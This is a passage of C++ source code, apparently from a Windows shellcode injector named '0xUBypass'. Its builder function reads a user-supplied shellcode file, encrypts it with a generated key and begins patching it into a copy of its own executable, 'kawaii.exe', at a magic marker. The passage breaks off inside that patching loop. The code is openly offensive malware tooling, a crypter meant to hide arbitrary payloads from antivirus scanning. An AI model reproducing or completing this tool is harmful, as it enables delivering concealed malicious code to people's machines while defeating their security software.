Function en

WindowsShellcodeInjector/main.cpp:42–125

}

int en(int argc, char **argv) {
	if (argc != 2) {
		cout << "Usage: 0xUBypass.exe [shellcode_path]" << endl
			<< "shellcode_path is a relative path to the binary file contains all your shellcode";
		return -1;
	}

	string public_key, private_key;
	GenerateKey(public_key, private_key);

	cout << "[*] Generated Private Key => " << private_key << endl;

	ifstream input_shellcode(string("./") + argv[1], ios::in | ios::binary);
	if (!input_shellcode.is_open()) {
		cout << "Failed - Make sure your shellcode file exists and readable" << endl;
		return -1;
	}

	uint8_t tmp_shell[MAX_SHELLCODE] = { 0 };
	input_shellcode.read((char *)tmp_shell, MAX_SHELLCODE);
	size_t size = input_shellcode.gcount();
	if (size <= 0) {
		cout << "Failed - Empty shellcode file or an unexpected error occurred" << endl;
		return -1;
	}
	
	//padding to ENCRYPT_BLOCK_SIZE
	size = CEIL(size, (ENCRYPT_BLOCK_SIZE / 8)) * (ENCRYPT_BLOCK_SIZE / 8);

	cout << "[*] Your Padding Original Shellcode Size is " << size << endl;
	cout << "[*] Your Padding Encrypted Shellcode Size is " << NEEDED_ENCRYPT_LENGTH(size) << endl;
	//encrypt
	EncryptShell(tmp_shell, size, shellcode.shellcode, NEEDED_ENCRYPT_LENGTH(size), public_key);

	cout << "[*] Your Encrypted Shellcode is ";
	for (int i = 0; i < NEEDED_ENCRYPT_LENGTH(size); i++) {
		printf("%02x", shellcode.shellcode[i]);
	}
	cout << endl;

	//remove old
	remove("kawaii.exe");
	cout << "[*] Removed old binary file" << endl;

	//copy self
	ifstream exec(argv[0], ios::in | ios::binary);
	ofstream patched("kawaii.exe", ios::out | ios::binary);

	uint8_t magic_number[] = {
		MAGIC
	};

	uint8_t *buffer = (uint8_t *)malloc(1024 * 1024);
	memset(buffer, 0, sizeof(buffer));
	exec.read((char *)buffer, 1024 * 1024);
	int p = seeking((char *)buffer, exec.gcount(), (char *)magic_number, sizeof(magic_number));
	if (p >= 0) {
		for (int i = 0; i < NEEDED_ENCRYPT_LENGTH(size); i++) {